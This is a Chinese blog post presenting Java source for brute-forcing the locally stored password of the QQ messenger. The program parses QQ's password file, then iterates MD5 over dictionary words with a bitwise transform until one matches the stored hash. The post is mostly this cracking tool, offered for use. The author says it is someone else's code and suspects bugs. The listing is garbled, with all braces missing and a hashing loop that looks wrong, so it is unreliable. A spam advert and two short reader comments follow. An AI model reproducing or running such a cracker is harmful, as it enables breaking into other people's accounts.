风之林沁's profile风之林沁PhotosBlogLists Tools Help

Blog


    April 16

    暴力破解本地QQ密码(JAVA版)

    import java.security.*; 
    import java.io.*; 
    import java.util.*; 

    class A1 

    public static void main(String[] args) 

    if(args == null || args.length < 2) 

    usage(); 
    return; 

    FS fs; 
    List<String> list; 
    MessageDigest md; 
    try 

    InputStream fis = new FileInputStream(args[0]); 
    fs = FS.get(fis); 
    fis.close(); 
    BufferedReader br = new BufferedReader(new InputStreamReader( 
    new FileInputStream(args[1]))); 
    String pw; 
    list = new ArrayList<String>(); 
    while((pw=br.readLine()) != null) 

    list.add(pw); 

    br.close(); 
    md = MessageDigest.getInstance("MD5"); 

    catch(IOException e) 

    System.out.println("err: " + e.getMessage()); 
    return; 

    catch(NoSuchAlgorithmException ne) 

    System.out.println("err: " + ne.getMessage()); 
    return; 


    int num = btoi(fs.block[0].data); 
    System.out.printf("加密轮次: %d\n", num); 
    byte[] pwd = fs.block[1].data; 
    for(int i = 0,len=list.size(); i < len;i++) 

    byte[] src = list.get(i).getBytes(); 
    long start = System.currentTimeMillis(); 
    byte[] dst = digestN(md, src, num); 
    System.out.println("cost time: " + (System.currentTimeMillis() - start)); 
    if(be(pwd, dst)) 

    System.out.println("hi, baby, you've got it pw: " + list.get(i)); 
    return; 

    else 

    System.out.println(list.get(i) + " isn't match pw, try next"); 




    private static boolean be(byte[] src, byte[] dst) 

    for(int i = 0; i < src.length; i++) 

    if(src[i] != dst[i]) 

    return false; 


    return true; 

    private static byte[] digestN(MessageDigest md, byte[] src, int n) 

    int i; 
    for(i = 0; i < n/3; i+=3) 

    src = md.digest(src); 
    src = md.digest(src); 
    src = md.digest(src); 

    while(i++ < n) 

    src = md.digest(src); 

    for(i = 0; i < src.length; i++) 

    src[i] = (byte)(~src[i]^0x10); 

    return src; 


    private static class FS 

    static final int fl = 4; 
    byte[] fh; 
    short bn; 
    Block[] block; 
    static FS get(InputStream in)throws IOException 

    FS fs = new FS(); 
    fs.fh = new byte[4]; 
    in.read(fs.fh); 
    fs.bn = (short)( (in.read() & 0xff) | (in.read() & 0xff)<<8); 
    fs.block = new Block[fs.bn]; 
    for(int i = 0; i < fs.bn; i++) 

    fs.block[i] = Block.get(in); 

    return fs; 


    void print(PrintStream out)throws IOException 

    out.printf("%2x %2x %2x %2x %2x %2x ",fh[0],fh[1],fh[2],fh[3],(byte)bn,(byte)(bn>>8)); 
    for(int i = 0; i < block.length; i++) 

    block[i].print(out); 


    }; 
    private static class Block 

    byte type; 
    short nl; 
    byte[] name; 
    int dl; 
    byte[] data; 
    static Block get(InputStream in)throws IOException 

    Block block = new Block(); 
    block.type = (byte)in.read(); 
    block.nl = (short)( (in.read() & 0xff) | (in.read() & 0xff)<<8); 
    block.name = new byte[block.nl]; 
    in.read(block.name); 
    block.dl = ( (in.read() & 0xff) << 0 
           | (in.read() & 0xff) << 8 
           | (in.read() & 0xff) <<16 
           | (in.read() & 0xff) <<24 
           ); 
    block.data = new byte[block.dl]; 
    in.read(block.data); 
    return block; 


    void print(PrintStream out)throws IOException 

    out.printf("%2x %2x %2x ",type, (byte)nl, (byte)(nl>>8)); 
    for(int i = 0; i < nl; i++) 

    out.printf("%2x ", name[i]); 

    out.printf("%2x %2x %2x %2x ",(byte)dl,(byte)(dl>>8),(byte)(dl>>16),(byte)(dl>>24)); 
    for(int i = 0; i < dl; i++) 

    out.printf("%2x ",data[i]); 


    }; 

    private static int btoi(byte[] src) 

    return (int)((  src[0] & 0xff) << 0  
              | (src[1] & 0xff) <<8 
              | (src[2] & 0xff) <<16 
              | (src[3] & 0xff) <<24); 


    private static void usage() 

    System.out.println("usage: java A1 密码文件 字典文件\n"); 

     
     
     
     
    说实话,这是别人的程序,不过我觉的15行和25行有问题,有时间改一下,我现在还没有找到错误的原因!!!

    Comments (3)

    Please wait...
    Sorry, the comment you entered is too long. Please shorten it.
    You didn't enter anything. Please try again.
    Sorry, we can't add your comment right now. Please try again later.
    To add a comment, you need permission from your parent. Ask for permission
    Your parent has turned off comments.
    Sorry, we can't delete your comment right now. Please try again later.
    You've exceeded the maximum number of comments that can be left in one day. Please try again in 24 hours.
    Your account has had the ability to leave comments disabled because our systems indicate that you may be spamming other users. If you believe that your account has been disabled in error please contact Windows Live support.
    Complete the security check below to finish leaving your comment.
    The characters you type in the security check must match the characters in the picture or audio.

    To add a comment, sign in with your Windows Live ID (if you use Hotmail, Messenger, or Xbox LIVE, you have a Windows Live ID). Sign in


    Don't have a Windows Live ID? Sign up

    No namewrote:

    Hi,Do you need digital signage, digital sign, ad players and ad displays? Please go Here:www.amberdigital.com.hk(Amberdigital).we have explored and developed the international market with professionalism. We have built a widespread marketing network, and set up a capable management team dedicated to provide beyond-expectation services to our customers.

    amberdigital Contact Us

    E-mail:sstar@netvigator.com
    website:www.amberdigital.com.hk
    alibaba:amberdigital.en.alibaba.com[beeiibaifiaiad]

    12 Sept.
    XY Lwrote:
    我大汗...
    看到就头痛.. @_@
    11 May
    stonewrote:
    靠,你娃java还没入门啊?多借几本java的教材多把语法学好点。如果你写的出来这个程序的话你就真正的学入门java了。
    16 Apr.

    Trackbacks

    The trackback URL for this entry is:
    http://wangqingchi.spaces.live.com/blog/cns!FA765876F89B08D8!248.trak
    Weblogs that reference this entry
    • None